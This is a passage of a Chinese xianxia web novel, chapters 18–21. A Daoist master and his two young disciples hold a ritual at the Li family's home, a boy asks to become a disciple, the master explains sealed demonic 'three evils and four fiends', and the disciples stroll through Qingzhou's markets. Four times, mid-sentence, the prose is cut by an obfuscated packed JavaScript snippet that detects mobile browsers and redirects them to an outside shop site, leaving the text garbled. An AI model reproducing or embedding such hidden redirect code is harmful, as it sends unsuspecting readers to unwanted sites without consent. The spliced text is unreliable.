男孩被点了名,这才从门槛外走了进来。 他的步伐一下子变得从容了,不紧不慢的,先是走到左婴面前,端端正正地行了一个礼,声音清朗:“慕仙见过真人。” 左婴低头看了他一眼,微微点了点头。 男孩直起身来,又转向黎素真,也行了一个礼:“见过师兄。”黎素真回了一礼。 然后他转向持盈行一礼,他看着她,开口道:“见过师兄。” 持盈放下筷子,也回了一礼。没有多说话,也没有刻意多看。 男孩行完礼后便退到李老爷身边站好,双手规规矩矩地垂在身侧,脊背挺得笔直,目光平视前方。 每一个动作都恰到好处,不多不少,刚好落在“得体”二字上。 持盈注意到他在退到李老爷身边之后,目光还是忍不住往左婴的方向飘了一下,那一眼极快。 宴散之后,李老爷亲自引着左婴三人去客房安顿。 持盈的房间在院子的东厢,推窗便能看见院中的一丛翠竹,月光照在竹叶上,泛起一层银白色的光泽。 她站在窗前看了一会儿竹子,将窗子合上,吹熄了灯,躺下睡了。 第二日清晨,持盈醒来时天刚蒙蒙亮。 她洗漱完毕,推开房门走到院中,看见左婴已经起了,正站在那丛翠竹前面,负着手,微微仰着头,在看竹叶上凝着的露珠。 她走过去叫了一声“师父”。 左婴“嗯”了一声,没有回头,继续看着那丛竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522246|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 过了一会儿,李老爷便匆匆赶来,请三人去前厅用早膳。 早膳后,李老爷屏退了左右,郑重地整了整衣冠,向左婴拱手行了一礼,开口时声音比昨日低沉了许多:“左真人,小弟有一事相求。” 左婴端着茶盏,没有放下,只是微微抬了抬目光:“李员外请讲。” 李老爷直起身来,回头朝门外唤了一声:“慕仙,进来。” 男孩从门外走了进来。 他今日换了一身浅青色的衣袍,发髻依旧梳得一丝不苟。 他走到左婴面前,站定后跪了下来,端端正正地磕了三个头。 磕完头,他没有立刻站起来,而是跪在原地,双手交叠放在膝前,低着头,声音不大不小:“恳请真人收我为徒。” 他说话的语气很平稳,一字一句的,没有颤抖,没有激动,带着一种与他年龄不太相称的沉静。 左婴没有立刻回答。 他低头看着跪在面前的男孩,沉默了片刻,才开口,语气不咸不淡的:“你今年多大了。” “十岁。” “读过些什么书。” “《大学》、《中庸》、《论语》、《孟子》都已读过了,《道德经》也读了一些。” “为何想入玄极观。” 李慕仙没有马上回答,他跪在地上,默了几息,抬起头来看着左婴,目光清亮而坦然:“我听说玄极观是正道第一。” 他顿了一下,继续道:“我要修最好的功法,做天下第一流的人。” 这话说得很大方,甚至带着一点少年人特有的傲气,每一个字都理直气壮。 左婴听了这个回答,脸上没有任何表情变化,只是“嗯”了一声。 他放下茶盏,不紧不慢地说了一句:“待三日后法事完毕,再谈此事罢。” 李慕仙跪在原地,听到这个回答,目光垂下去,看着自己膝前的地面,片刻后又抬起来,看着左婴的背影,应了一声:“是。” 他缓缓从地上站起来,退到李老爷身后站好,双手交叠放在身前,面色如常,看不出一丝波澜。 这般泰然自若与当日跑入书房冒失样简直判若两人。 18. 树 法事前两日便空了下来。 李老爷原想请左婴在青州城中走走看看,左婴婉拒了,只说在院中歇息便好。李老爷也不强留,吩咐了下人好生照看着,便忙自己的事去了。 持盈在客房中坐了一会儿,觉得有些闷,便推门走到院中。 院子里那丛翠竹在日光下绿得发亮,竹影投在白墙上,被风一吹便轻轻晃动,像一幅没干透的水墨画。 她站在廊下看了一会儿竹影,又低头看了看自己的脚尖。 她想起一些事来。 前几日若渝师兄来给她送新抄的经卷时,站在门口看了她一会儿,说了一句:“你什么都好,就是太沉静了些。” 她当时没有接话,若渝师兄也没有再多说,放下经卷便走了。 又想起澄怀师兄也曾说过类似的话,有一回她帮他在药房里晒药材,晒了一下午两人也没说上几句话。 收工的时候澄怀师兄忽然说了一句:“你啊,有时候一天到晚也听不见你吭一声。” 她当时想了想,回了一句“没有什么需要说的”,澄怀师兄便笑了一下,没有再说什么了。 就连师父也说过。 那是去年秋天的事了,她在后山静室门口等师父出来,师父推门看见她站在那里,也不说话,便道:“你这个人,站在这里跟一棵树似的。” 她当时不知道该怎么回答,便没有回答。 师父也没有再说什么,只是从她身边走过去,走出几步才丢下一句:“树还会被风吹得响一响,你连响都懒得响。” 她将这些话在心中过了一遍,觉得师兄们和师父说得也没有错,她确实是太沉静了。 她不太知道别人是怎么做到一直有话说、一直有事问的,她只觉得大多数时候确实没有什么需要说的。 但她也知道,人活着总不能一直不说话。 她站了一会儿,转过身,走到隔壁左婴的房门前,站定,抬手叩了两下门。 “进来。” 持盈推开门,看见左婴正坐在窗边的书案前,手里拿着一卷书,长发没有束起,垂落在肩背上,被从窗外吹进来的风轻轻拂动。 日光从窗棂中漏进来,在他身上落了几道明暗交错的光影。 鹤发童颜,柳眉凤目,如画中仙般,任谁看了也不信是一个六十余岁的老道士。 持盈走过去,在书案前三步处站定,叫了一声:“师父。” 左婴抬起目光看了她一眼,见她主动来找他,目光在她脸上停了一瞬,才将书卷搁下:“有事?” 持盈站在书案前,想了想,才开口:“方才在院中站着,想起几位师兄和师父都说过我太沉静了。想了想,觉得确实如此,便想着来找师父说说话。” 左婴听到这个开头,倒是微微意外了一下。 他将书卷完全放下,靠在椅背上,双手交握放在腹前,看着她,目光里带着一丝审视的意味。 “那你是自己想说话,还是因为别人说你太沉静了,所以才觉得自己应该说话?” 持盈被他问住了。 她站在原地认真想了一会儿,老实答道:“大约各占一半。” 左婴没有接话,只是看着她,等着她继续说下去。 持盈沉默了一会儿,想起那日接风宴上见到的那个男孩。 记得他在门外站了许久,后来跪在师父面前,那份说着“要修最好的功法,做天下第一流的人”时毫不掩饰的自信。 她想了想,觉得这大约是一个可以拿来问一问她师父的问题。 她抬起目光来看着左婴:“师父,那位李公子似乎颇为聪颖,可是有让师父起了收徒的心思?” 左婴听到这个问题,目光在她脸上停了一停。 他看了她片刻,没有立刻回答,而是反问了一句:“你怎么忽然问起他来了。” “昨日在接风宴上看见他了,觉得他与寻常孩童不太一样。后来又听他说了那番话,便在想着他大约是真的聪颖过人。” 持盈如实答道,“我见师父没有当场回绝他,只说待法事后再说,想着师父大约也是有些意动的。” 左婴听完了她这番话,没有回答她,而是靠在椅背上,腕间搭在扶手上,不急不慢地说了一句。 “你入观四年有余,主动来问为师的话,加起来大约也没有今日这一回多。” 持盈愣了一下。 左婴的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524186|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光里浮现出一丝难以捉摸的神色,像是冬日里冰面下隐约可见的游鱼。 他看着她,慢悠悠地道:“为师还在想,今日是什么日子,你这棵连响都懒得响的树,怎么忽然就响了。” 持盈被他这句话说得噎了一下。 她听出了他语气里那层意思,但她不知道该作何回应,只好道:“弟子只是在想,若渝师兄和澄怀师兄都说过弟子太沉静了,弟子觉得应当改一改。” 左婴一副恍然大悟的模样,点了点头:“哦——原来不是自己想说话,是被师兄们说了,才觉得应该说话。” 持盈张了张嘴,又闭上了,她发现自己又被绕进去了。 左婴见她这副模样,嘴角微微动了一下,但他没有笑出来,只是端起茶盏喝了一口,慢悠悠地补了一句:“你方才说,怕为师觉得你太沉静了,所以才来找为师说话——” “那你现在话也说完了,问也问完了,心里可觉得舒坦些了?” 持盈站在原地,认真想了想,答道:“说完了便觉得轻松了一些。” 左婴放下茶盏,看着她,目光里带着一种老年人看晚辈时特有的温和:“那你下次想说话的时候便来说,不想说话的时候便不用说。一棵树不想响的时候,硬要它响,那响声也不会好听。” 持盈怔了一下,低下头,轻轻应了一声:“是,弟子知道了。” 她站在原地等了一会儿,见左婴没有再开口的意思,便躬身行了一礼,转身往外走。 走到门口时,她忽然听到左婴的声音从身后传来,不紧不慢的:“至于那位李公子——确实聪颖。” 持盈停下脚步,回过头来,等着他继续说下去。 左婴却只是重新拿起那卷书,翻了一页,语气淡然。 “聪颖的人未必是好弟子。” 他说完这句话便没有再往下说了。 持盈站在门口等了一会儿,见他确实没有要继续说的意思了,便转身走了出去。 走出房门,一阵风吹过来,将院中那丛翠竹吹得沙沙作响。她站在廊下停了一会儿,听着那阵竹叶碰撞的声音。 她没有去想那句话是在说李慕仙,还是在说别的什么人。 19. 三绝四凶 持盈回到自己房中,在窗前的椅子上坐了下来。 窗外的日光透过竹帘的缝隙,在桌面上落下一道一道细长的光影。 她坐了一会儿,没有看书,也没有练功,只是坐在那里,望着桌面上那些光影出神。 她方才在师父房中说的那些话,她自己也不太确定说得对不对。 她确实是因为想到了师兄们和师父都说过她太沉静了,才想着应当主动去说说话。 但她也确实是因为心里存了一个问题,才走到了师父门前。 两个念头都有,分不清哪一个更多一些。 她坐在窗前,想了好一会儿,也没有想出一个确切的答案来。 她只知道,自己还有一个问题想问。那个问题不是替别人问的,是她自己想问的。 她想了想,又站起身来,推开房门,再次走到了师父的门前。 持盈抬手叩了两下门。 “进来。” 她推开门走进去,师父还坐在窗前的书案边,手里依然握着那卷书,甚至连姿势都没有怎么变过。 左婴看见持盈又回来了,目光在她脸上停了一瞬,这回他没有放下书,只是将书卷略微倾斜了一些,露出半张脸来看着她:“怎么又回来了。” 持盈走到书案前三步处站定,这一次她没有犹豫太久,开口道:“师父,弟子有一个问题,想问您。是弟子自己想问的。” 左婴听了这句话,将书卷放了下来,搁在膝上,靠在椅背上看着她:“你问。” 持盈沉默了片刻,才开口,声音平平的:“师父,那日您在黑山将我带回观中,后来又将我收入门下。” “弟子想问——若是当初您觉得我不适合修道,会怎么处理我?” 左婴听完这个问题,没有立刻回答。 他靠在椅背上,目光落在她脸上,沉默了好一会儿,才开口:“你怎么忽然想起问这个来了。” 持盈道:“方才回到房中,想起您说的那句话——‘聪颖的人未必是好弟子’。便在想着,我大约也不是什么好弟子。” “您当初收我,是因为什么呢?若是我没有那个修道的天赋,您打算拿我怎么办呢?” 左婴看了她好一会儿,将目光移开,落在窗外那丛翠竹上。 他沉默了片刻,开口道:“你知不知道那日那老妖为什么偏偏抓到了你,而不是别的人。” 持盈微微怔了一下:“弟子不知,从前只觉得大约是运气不好才被他盯上了。他大约是想吃了我,或是拿我炼什么东西。” 左婴转回来看着她,摇了摇头:“你体质特殊,与寻常人不同。” “你是极阴之体,对妖邪来说,无异于小儿抱金过闹市,谁都想来分一杯羹。” “那日就算不是那老妖,也会有别的妖物找上你。你能平安长到八岁,已经是侥幸了。” 持盈站在原地,安静了片刻,才道:“原来如此。” 她顿了顿,“所以弟子不是因为‘值得被救’才被救的,而是因为‘不能不管’才被管的。是这样么?” 左婴被她这句话噎了一下。 他看着她,一时没有说话。过了好几息,他才缓缓道:“你这话说得……倒也不能算错。” 持盈点了点头:“那师父当初若是觉得我不适合修道,会如何安置我呢?”她顿了一下,“会把我送回拾翠楼么?” “不会。”左婴回答得很快,“那种地方,送回去便是送你进火坑。” “就算你毫无资质、心性愚钝,为师也会将你安置在玄极观中。” “观中不差你一口饭,养你到成年,再为你寻一个好去处,保你一生平安,总是不难的。” 他看着她,语气比方才笃定了几分:“既然将你从黑山里带出来了,便没有再将你丢回去的道理。” 持盈听完这句话,没有立刻接话。 她低下头,沉默了一会儿,忽然抬起头来,看着左婴,问了一句:“那师父有没有想过——若是弟子宁愿回拾翠楼呢?” 左婴正准备端茶盏的手顿住了。 他抬起头来看着持盈,目光里闪过一丝意外。 他看过她很多年了,从八岁看到十二岁。沉默、发呆、练功时咬着牙不吭声,解签时对着香客不急不躁的样子。 但他从来没有在她脸上见过那种神情,只是认认真真地在问一个她确实想知道答案的问题。 他沉默了好一会儿,才开口:“你愿意回拾翠楼?” “弟子不知道。”持盈道,“弟子只是在想,师父觉得那是火坑,弟子却在那里住了八年。” “弟子在那里没有挨过饿,没有挨过打,李妈妈虽然存着卖弟子的心思,但也没有苛待过弟子。” “弟子在那里住了八年,也不觉得那是什么火坑。所以弟子在想师父觉得好的,未必是弟子觉得好的。师父觉得坏的,也未必是弟子觉得坏的。” 她说完这番话,便安静地站在那里,不卑不亢。 左婴靠在椅背上看着她,沉默了很久。 他忽然笑了一下,很轻很短,一声带着叹息的笑:“你这孩子,四年了,为师还是头一回听你说出这种话来。” 持盈不解地看着他,不明白这有什么好笑的。 左婴摆了摆手,收敛了笑意,但眼底还残留着一丝余韵:“你说得对。为师觉得好的,未必是你要的。这一点,是为师疏忽了。” 他顿了顿,“但让一个八岁的孩子自己选要不要回火坑,那是大人的失职。” “你不替自己选,为师来替你选。将来你长大了,觉得为师选错了,你再来找为师算账便是。” 持盈想了想,认真地点了点头:“好,那弟子记下了。将来若是觉得师父选错了,会来找师父算账的。” 左婴又噎了一下。 他端茶盏的手在半空中停了一瞬,低头喝了一口才继续道:“你今日说话,怎么句句都像在堵为师的路。” 持盈不解:“有么?弟子只是如实说出自己的想法罢了。” 左婴沉默了片刻,决定不再与她纠缠这个话题,话锋一转:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530228|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才说到那老妖——那一桩事,为师一直没有仔细跟你讲过。” “那日为师之所以能找到你,不是因为恰好路过,也不是因为感应到了妖气。” “那老妖道行并不算多深,但他能躲过为师的神识探查、藏匿那么久,是因为有外力在帮他遮掩。能帮他做到这种手段的,无外乎三绝四凶。” 持盈的注意力被他这句话勾了过去。 她在左婴对面的椅子上坐下来,双手搁在膝上,安安静静地等着他往下说。 左婴便简单地给她讲了一遍。 三绝,贪、嗔、痴。 四凶,是酒、色、财、气。 不是什么寻常的妖物。 寻常妖物修行,说到底还是在“求生存”的路子上打转。 三绝四凶生于思,长于念,人心不绝,它们便不灭。 “修道之人性命双修,能观照自身念头,贪嗔痴一起便能觉察,觉察便能化解。” “但世间芸芸众生,不是人人都在修道。凡人的念头日日夜夜生灭不熄,七情六欲翻涌不休,这些东西便是三绝四凶的食粮。” 他喝了一口茶,继续道:“贪兽白孔雀,嗔兽青蛇,痴兽粉蛾。酒邪猴,色邪蝎,财邪虎,气邪兔。” “皆于千年前被当时的修道之人联手封印,一直镇压在秘境深处。那黑山老妖的事,背后便有它们的影子。” “以老妖那点道行,不值得为师费什么力气。但他背后有人给他遮掩、给他指路、甚至替他布下了遮蔽神识的阵法。这些事情,凭他自己是做不到的。” 持盈静静地听完,问了一句:“那它们现在还在封印里么?” “封印还在,但已经撑不了太久了。”左婴的语气依然平淡,“不过这是修道之人的共业,不是你一个人该操心的事。” “为师告诉你这些,只是让你知道,这世间有一些东西是你将来可能会遇到的,心里先有个数。” 持盈想了想,认真地点了点头,然后道:“所以师父的意思是,弟子便如‘小儿抱金过闹市’,将来还可能惹上那种东西。” 左婴端着茶盏的手又顿了一下。他看着她,缓缓道:“你今日抓重点的本事,是不是有些过于好了。” 持盈不解:“不是师父自己说的么。说完了,弟子听懂了,师父却又嫌弟子听得太懂了。” 左婴端着那盏茶盏,默然看了她半晌,将茶盏搁回桌上,语气里带着一种老年人不想再跟小孩子计较的无奈:“你回去罢,为师要歇一歇。” 持盈站起身来,朝他躬行了一礼:“弟子告退。” 她转身走到门口,忽然又停下脚步,回过头来:“师父,弟子还有一个问题。” 左婴靠在椅背上,闭着眼睛:“问。” “师父被称为玄极仙人,您与他们孰强孰弱?” 左婴睁开眼睛看了她一眼,又闭上了:“没见过,不知。” 持盈应了一声,转身走了出去。 走出房门,一阵风吹过来,将院中那丛翠竹吹得沙沙作响。 20. 梳头 法事这日天还未亮透,李宅上下便已忙碌起来。仆人进进出出,将法坛所需的香烛、供品、法器一样一样地搬至正院。 院中已经搭好了一座三尺高的法坛,坛上铺着素色的锦缎,左右分列香炉、烛台、净水、符幡等物。 坛前的地面上用朱砂画了一道符阵,线条繁复而工整,在晨光中泛着暗红色的光泽。 左婴今日与平日不同。 他换了一身正式的法服,玄色外袍镶着苍青色的边缘,腰间束一条玉色丝绦,长发用一根白玉簪齐齐束起,一丝不乱。 整个人收拾得利落干净。 持盈和黎素真也换上了各自的道袍,一左一右站在法坛两侧。持盈手持一柄玉柄拂尘,黎素真捧着一卷经幡,两人皆垂目肃立。 李宅上下几十口人已在院中站定,男左女右,鸦雀无声。 李老爷站在最前列,身后是几位近支亲眷,再往后便是管家、仆妇、丫鬟、护院,黑压压地站了满院。 李慕仙站在李老爷身后半步的位置。 他今日也换了一身浅青色的衣袍,发髻梳得一丝不苟,双手垂在身侧,脊背挺得笔直,目光落在前方的法坛上,不偏不倚。 但他的目光时不时从法坛上移开,向左婴的方向飘一下,又迅速收回来。 辰正一到,持盈便迈步上前,将三炷香在烛上点燃了,双手递至左婴手中。 左婴接过香,转身面朝法坛,举香齐眉,朗声道:“玄门弟子左婴,承青州信士李氏之请,设坛祈福,上告三清。” 他的声音清清楚楚地传遍了整座院落,自有一派端严。 他将三炷香插入炉中,青烟袅袅升起,在晨光中散成一层极淡的青色薄雾,一股清冽而安神的香气弥漫开来。 左婴退后半步,执起案上的一柄桃木剑,剑尖挑起一张朱砂符纸,在烛上点燃了,向空中一掷。符纸在空中燃烧殆尽,灰烬散入风中,他的剑势便随之而起。 他的动作并不快,行云流水,并不像是在施展什么神通。 持盈站在法坛侧后方,目光追随着左婴的动作,看了许久。 她注意到他在舞剑的过程中,体内的炁是流动的。 平缓而稳定地流遍全身,从目光所及之处缓缓逸散出来,融入那袅袅的青烟之中。 她忽然有些明白了。 所谓法事,并不只是念几卷经、烧几道符给活人看的,若修行之人的炁足够纯净,这场法事本身就是一场对天地的祝祷。 她站在那里,感受着那层青烟中蕴含的温和气息,心里也跟着静了下来。 约莫过了半个时辰,法事结束了。 左婴将桃木剑放回案上,转身面向李老爷及满院众人,声音平和如初:“李氏一门,诚心感格,三清垂鉴,福泽绵长。”他便去净手了。 李老爷连忙迎上前来,连声道谢。 院中的仆从们也开始忙碌起来,撤法坛、收供品、搬桌案,为接下来的席面做准备。 李老爷早就在花厅备好了几桌席面,招待左婴师徒三人。席间他亲自给左婴斟了一杯茶,左婴却摆了摆手,不紧不慢地道:“法事既毕,便不拘着两个孩子了,他们在观中闷了多日,难得来一趟青州,让他们出去走走罢。” 李老爷一听,连连点头:“正该如此,正该如此——年轻人哪能总闷在屋里。” 他转头看向持盈和黎素真,“二位小道友若是不嫌弃,老夫让管家备些银两,二位只管去街上逛逛。青州城虽比不得京城繁华,却也有几处值得一看的去处。” 他招了招手,管家便端了两只小托盘上来,盘里各放着一套衣裳。 一件天青色的袍子,裁得素净利落,尺寸大约恰好合黎素真的身。另一件海棠色的衣裙摆在旁边,颜色清艳。 李老爷笑道:“出门游玩,穿道袍怕是不便。老夫让内院的针线娘子赶了两件常服,二位看看合不合身。” 黎素真微微迟疑了一下,看了一眼左婴。左婴连眼皮都没抬,只摆了摆手让他自便。 他这才接过托盘,道了声谢。 持盈也接过了托盘,低头看了一眼那件淡青色的衣裙,没有多说什么。 两人各自回房换了衣裳出来。持盈将那件淡青色的衣裙穿上了,倒也合身。 她走到前厅时,黎素真已经在那里等着了。 他整个人比穿道袍时少了几分出尘,多了几分少年人的清朗。 看见持盈穿着那件海棠色的衣裙从走廊那头走过来,日光从廊檐下斜斜地照进来,将她整个人笼在一层柔和的光晕里。 他看了她片刻,在她走近之前移开了目光。 待她走到近前,他才重新抬起头来,看了看她的头发,微微顿了一下:“你头发散了。” 持盈抬手摸了一下发髻,方才换衣裳时她将头发拆了,随手又绾了一下。 大约没有绾紧,走这几步路便松了大半,几缕发丝垂在耳侧和脖颈上。 “我重新绾一下。”她伸手去拔簪子。 “等等。”黎素真叫住她,“你等一下。”他说完便转身往前院走去,脚步比平时略快了一些。 持盈站在原地,不知道他要做什么。 过了一会儿,黎素真回来了,手里拿着一把梳子,一柄小木梳,看得出是随手从某个丫鬟手里借来的。 他走到持盈面前,在她面前站定,低头看了一眼手中的梳子,才道:“我帮你梳,你自己绾不紧,走出去走不到两条街又要散。” 持盈看了他一眼。 他没有看她,正低头将那把木梳在袖口上擦了一擦。 “师兄还会梳头?”她问。 “不会。”他答得坦率,“但总比你绾得紧一些。”他说完便绕到她身后去了。 持盈便没有再多说,任由他去了。 黎素真站在她身后,低头看着她的发顶,沉默了一瞬才伸手解开她已经松散的髻,将那一头黑发放了下来。 他拿起那把木梳,从发梢开始,一下一下地梳上去。他梳得很慢,动作有些生涩,但很轻,几乎没有扯到她的头皮。 持盈站在那里一动不动,感觉到木梳的齿从她的发间缓缓滑过,一下又一下,带着一种小心翼翼的温钝触感。 黎素真将她的头发拢在手中,试着绾了一个髻。绾好之后端详了片刻,又拆了,重新绾过。 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533059|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二次比第一次好一些,但仍然不够齐整,他又拆了重来。 “师兄,”持盈开口,“你是不是真的不会。” “快了快了。”黎素真的声音从她身后传来,比方才低了一些,带着一丝不易察觉的不自在。 他第三次将她的头发拢起来,手指穿过她的发丝时动作比方才熟练了一些。 他绾了一个小巧的髻,用她那根素木簪子固定住,又从袖中取出一件东西来。 一条发带,与他身上那件袍子的颜色几乎一模一样,边缘缝着一道细细的银丝暗纹,大约是他方才去借梳子时一并要来的。 他将那条发带绕过她的发根,系了一个结,余下的带尾垂落在她的发间,被风一吹便轻轻飘动起来。 他往后退了半步,端详了一下,轻声说了一句:“好了。” 持盈抬手摸了摸发髻,比她自己绾的要紧一些,稳稳当当的,微微侧过头来:“好看么?” 黎素真被她问得顿了一下,目光在她发间那条淡青色的发带上停了一瞬,才开口:“好看的。” 他说完这两个字便转开了目光,弯下腰将方才借来的那把木梳拿起来握在手心里:“走罢,趁着天色还早。” 持盈点了点头,两人一前一后走出了李宅的大门。 青州城的街市比持盈想象中要热闹得多。 此时正是巳正时分,街旁店铺林立,行人摩肩接踵,叫卖声此起彼伏。 卖糖葫芦的、卖炊饼的、卖布匹的、卖脂粉的,各色声音混杂在一起,在街道上空汇成一片嗡嗡的声浪。 持盈走在那片声浪里,步子不快不慢。她不多看,不多停,只是安安稳稳地走在人群中,像一小片落在河面上的叶子,顺着水流的方向漂着。 若有人不小心撞了她一下,她便侧身让开,不皱眉,也不回头,脚步甚至不见停顿地继续往前走。 黎素真走在她身侧,目光时不时落在她身上,确认她没有被人群挤散。 他注意到她走路的方式与常人不同。 她不张望,不流连。 偶尔会在一处极不起眼的地方停下来,比如一面长满青苔的老墙根,比如一间竹器铺子门口摆着的几根编了一半的竹篮,停下来看一看,看够了便继续往前走,从不回头看第二眼。 她在拾翠楼关了八年,出来后看什么都觉得新奇,却又不显露那种新奇。她的好奇是无声的,藏在眼睛里,不露声色。 他看着她站在那间竹器铺子门口,微微歪着头看着那只编了一半的竹篮,看了好一会儿才转身继续往前走。 在观中的时候她穿道袍、绾道髻,做事干净利落,解签说法有条不紊,让人常常忘记她只有十二岁。 此刻她穿着一身寻常的衣裙站在日光下,他才忽然想起来,她其实还是个孩子。 他移开目光,望着前方人来人往的街道,声音平平的:“前面有一家卖糖糕的铺子,要不要尝尝。” 持盈想了想:“好。” 她便跟着他拐进了一条横巷,朝着那家糖糕铺子的方向走去。 日光从巷口斜斜地照进来,将两个人的影子投在青石板地面上,一长一短,并肩而行。 21. 正好 从糖糕铺子出来之后,持盈手里多了一个纸包。 纸包里是刚出锅的马蹄糕,还冒着热气。 她低头看了一眼,没有吃,将纸包托在手里,用掌心试了试温度。 黎素真走在她身侧,手里已经替她拎了几样东西。 一小包桂花糖,一扎草绳捆着的干艾草,还有方才路过书肆时她翻了两页便放下、他却默默买下来的一本《青州风物志》。 他拎着这些东西走在她身侧,像一棵会移动的架子。 持盈走了一小段路,停下来,回头看了一眼街角另一家铺子。 门面不大,檐下挂着一块旧木招牌,写着“陈记酸果”三个字。 她看了一眼,便转身朝那家铺子走过去。黎素真便也跟着她拐了个弯,一起站到了那家铺子门口。 铺子里的货架上摆着几只大肚陶坛,坛口封着红布,布上用墨笔写着“酸枣糕”、“山楂条”、“盐津梅子”之类的字样。 柜台后面坐着一个头发花白的老头儿,戴着老花镜,正在用一张油纸包什么,见有客来便放下了手里的活计。 “小娘子要点什么?”老头儿笑眯眯地问。 持盈的目光在货架上扫了一圈,落在一只标着“酸枣糕”的陶坛上:“这个要一点。” 老头儿应了一声,揭开坛盖,用竹夹夹出几块暗红色的酸枣糕来,放在油纸上称了称,又添了一块,利落地包好了递过来。 持盈接过纸包,没有急着收起来,打开纸包闻了一下,一股酸甜的气味扑面而来,她的眉眼几不可察地松动了些许。 她又看到柜台角落里摆着几只小瓷罐,罐身上贴着一方红纸,写着“酸橘露”三个字。 “那是什么?” 老头儿顺着她的目光看过去,笑道:“自家熬的酸橘露,挖一勺泡在水里,酸酸甜甜的,好喝得很。小娘子要不要来一罐?” 持盈想了想:“要一罐。” 老头儿便取了一只干净的小瓷罐,揭开旁边一只大缸的盖子。 从缸中舀出几勺琥珀色的浓稠液体,装进小瓷罐里,塞上木塞。又在罐口封了一层油纸,用细绳扎紧了,递了过来。 持盈接过来,低头看了看那只小瓷罐,又抬头看了一眼黎素真。 黎素真手里已经拎满了东西,正站在那里安静地等着她,目光落在她脸上,带着一种他自己大概都没有意识到的温和。 他见她看过来,便自然而然地伸出一只手来:“给我吧,我帮你拿。” 持盈看了他伸出的那只手,又低头看了看自己手里那只小瓷罐,忽然没有马上递过去。 她将那只小瓷罐在手里转了半圈,语气幽幽说了一句:“师兄,你手里已经拿不下了。” 黎素真低头看了看自己两只手上拎着的东西,大大小小已经有好几样,确实没有多余的手了。他顿了一下,似乎在思考该怎么腾出手来,换到一半又停住了。 持盈便趁着他换手换到一半、两只手都腾不开的那个瞬间,将那只小瓷罐轻轻放进了他怀里,刚好卡在他两臂之间。 她退后一步,背着手,安安静静地看着他。 黎素真低头看着怀里那只凭空多出来的小瓷罐,又抬头看了看她。 她站在那里,日光从檐外斜斜地照进来,在她脸上落了一片明亮的光。 表情仍然是那种惯常的平淡,但她的眼睛里有笑意流出。 他怔了一下,倏而笑了,带着一点无奈的意味。像是被一片树叶落在肩头,又好气又好笑地发现那片树叶是故意落在那里的。 黎素真摇了摇头:“你啊,都会逗师兄了。” 他依旧温温柔柔的,只有一种拿她没有办法的纵容。 说完便将那只小瓷罐重新调整了一下位置,稳稳地抱在怀里,和手里那些纸包纸袋一起拎着转身往街口走去。 持盈站在原地,看着他走了两步才跟上去。 她没有接话,但她的步伐比方才轻快了一点点。 两人并肩走出小巷,回到了主街上。 青州城的午市正值最热闹的时辰,街面上的行人比方才又多了不少,在日光下汇成一条缓缓流动的河。 黎素真走在外侧,将持盈护在靠墙的一边,替她挡去大部分迎面而来的人流。 他手里拎着大包小包,怀里揣着那只小瓷罐。走起路来多少有些笨拙,但步伐依然稳当,没有丝毫抱怨或不耐烦的神色。 持盈走在他内侧,目光在街边的铺面上缓缓扫过。似一只蜻蜓在水面上轻轻一点便飞走了,不留痕迹。 黎素真走了一段路,注意到她的目光在一家铺子门口停留了片刻。 那是街角一家卖竹编器具的小铺子,门口挂着一排编好的竹篮子、竹筛子、竹斗笠,一个老篾匠正坐在门口的矮凳上,低着头用篾刀剖一根青竹。 他的手指灵巧地翻动着,竹篾在他手中像一条驯顺的带子,被剖成均匀的细条,发出清脆的、有节奏的声响。 持盈站在几步之外看了一会儿,没有说话。 黎素真便也跟着停下来,站在她身侧,没有催她。 过了好一会儿,持盈才收回目光,继续往前走。她走了两步,忽然开口说了一句:“我从前在拾翠楼的时候,阁楼的窗户外头钉着木条,什么都看不见。” “但若是把耳朵贴在窗缝上,能听见楼下街面上有人在叫卖竹器,就是这种声音——篾刀剖竹子的声音。” 她说这话的时候语气很平淡,像在说一件与己无关的旧事。黎素真走在她身侧,没有立刻接话。他沉默了一会儿,才应了一声:“嗯。”让她知道他在听。 